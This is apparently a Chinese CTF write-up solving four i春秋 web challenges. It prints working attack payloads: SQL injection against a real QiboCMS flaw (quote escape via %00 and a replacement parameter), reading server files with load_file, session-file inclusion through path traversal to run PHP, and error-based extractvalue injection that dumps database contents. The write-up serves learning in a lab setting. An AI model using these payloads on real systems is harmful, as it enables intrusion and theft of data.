i春秋7
web——fuzzing
发现写了一个超大内网,百度了一下,内网范围为10.0.0.0——10.255.255.255
使用XFF修改了一下IP,访问得到
以上地址,他说show your key,我们就发送key,一开始是get方式发送的,发现不行,后来就改成了post就可以了。
1 | key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9] |
出现这句话,接下来就用脚本跑一下后面三位是a-z0-9,但这里可以直接把后面那串拿去MD5解密一下,得到ichunqiu105 用脚本跑的话如下:
1 | onimport requests |
打开看看
1 | function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { |
他的意思是 根据39f4zSTZu9c/laWu0cRvZq7i1XMDxPnf5e4en8EtDTYmIQRKLchr36IN+pSbn9NzBae3B5mwptxrbBjlQjWJCwb0JFa47wk和上面的解密方式,就可以得到flag
只要在最后加上一句话:
1 | echo authcode($string = '5f04rJx7uHz25mDp4vUfC0JB4Nx5nMvyQzHwjRb6kN88N+T9RRipbwbHDIcRWtqXjemcJit26oE1Vu6lpdQPZ6St/obCAEc', $operation = 'DECODE', $key = 'ichunqiu105'); |
flag{e6240cc3-d3ea-41ec-9778-10f5ca5e308b}
web——再见CMS
首先要看看是什么cms,然后再去查找出现过的漏洞,这里看了一下WP,说是看备案号可以查询得到,发现是齐博CMS
然后查询已有的漏洞:
先注册下账号,记录好自己的uid:3
该网站的漏洞是这样的:在该
http://3893215cde9541e9ab9e40ed01fd1bca93c93c73b8774146.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2 URL下存在sql注入漏洞,所以我们可以post
1 | truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23 |
以上payload进行注入,这里解释一下:%00会被转义成\0而后面limitword[000]=空,则是说将truename里面的000替换为空,这是就只剩下一个\,update table set a=’111’,b=’222’ where uid=1假设更新信息的语句如上,那么代入内容则变成是:update table set a=’111\‘,b=’222’ where uid=1
那么替换的内容变成由本来的a=111变成a=111\‘,b= 而我们的语句此时我们再引入一个逗号作为分隔,就变成是
1 | update table set a='111\',b=',select user() wher uid=3# |
接下来继续注入:
爆出库名,看了一下wp,说flag不在这里,猜测是在var/www/html/flag.php,那么这里为什么可以猜测知道这个绝对路径呢?
这里有一部分原因吧
接下来如何
通过sql注入方式打开文件
参考:https://www.cnblogs.com/blacksunny/p/8060028.html
但是这里的单引号被过滤 所以就用十六进制表示:
1 | truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870))where uid=3%23 |
查看源码即可获得flag
web——notebook
提示说让我们使用文件包含看看,为什么会想到扫描目录?因为我用phpinfo尝试了很久都没打开==,扫描目录看到这个文件,他是php1nFo.php
接下来试试文件包含在哪:
接下来看看有啥有用的信息吧,主要是毫无头绪不知道哪些信息对我有用,这里看了一下wp学习一下新知识:
PHP文件包含–session
利用条件:session文件路径已知,且其中内容部分可控。
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session 的文件名格式为 sess_[phpsessid],而 sessionid 在发送的请求的 cookie 字段中也可以看到。
思路:
所以这个时候就理顺了:
1.我们可以在phpinfo中看看session保存的目录在哪,然后使用文件包含漏洞打开,因为session文件命名规则我们也知道。
2.如何利用?我们注册用户,直接用php语句写入注册,由于文件包含漏洞打开文件会自动解析其中的php语言,所以我们就可以为所欲为了
这个是session保存目录
PHPSESSID=u2vfju7a353mgv6j1tbch1pid7;
1 | /action.php?module=&file=../../../../tmp/SESS/sess_u2vfju7a353mgv6j1tbch1pid7 |
web——Vld
开头说
1 | do you know Vulcan Logic Dumper? |
这里留意一下这个Vulcan Logic Dumper,查看源码,
发现存在index.php.txt文件,打开以后可以得到一串代码内容,这个就是Vulcan Logic Dumper做的:
PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyuanke/article/details/76921476 Vulcan Logic Dumper:http://www.phppan.com/2011/05/vld-extension/ 也就是说我们刚才看到的一堆代码其实就是借助vld得到的,php语言中供zend引擎执行的中间代码opcode。有了opcode便可以将其翻译成php代码。 网上也没找到翻译opcode的工具,所以只能看着对照表自己翻译:
参考学习:https://www.cnblogs.com/wosun/p/11386434.html
这里有个select语句,分析看看能不能注入:
1 | $db = new mysql_db(); |
这里看了一下wp如何绕过,发现就是昨天刚用的方法–这次就一定要记住了
在这里str_replace的内容是我们可控的,我们知道%00会被转义成/0所以
我们让str_replace的替换为0这样username只剩下/,然后将后面接上单引号,,而单引号会被转义加上/那么此时前面的/就将这个/给转义掉’就逃逸出来了。
构造payload:
1 | number=0&username=%00'and extractvalue(1,concat(2,database()))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
但是 网页上的这个login.php404了????????后来发现原来目录是:
1chunqiu/login.php
我吐了,之前就遇到过,目录目录目录要完整!!重要的事情说三遍
然后一步步查询下去,最终可得
1 | number=0&username=%00'and extractvalue(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
1 | number=00&username=%000'and extractvalue(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167)))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
这里有个地方需要注意的是,我们前面替换的是0,因为会过滤引号,所以=后面需要使用十六进制进行绕过,但是使用十六进制有0所以这里替换的改成00就好了
得到字段名为flag:
由于报错注入一次回显内容有长度限制,一开始使用的select flag from flag就没办法完全将flag显示出来,所以这里改用substr
1 | number=00&username=%000' and extractvalue(1,substr((select flag from flag),9,37))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
flag{19b41a74-3424-42d1-aeda-974812111573}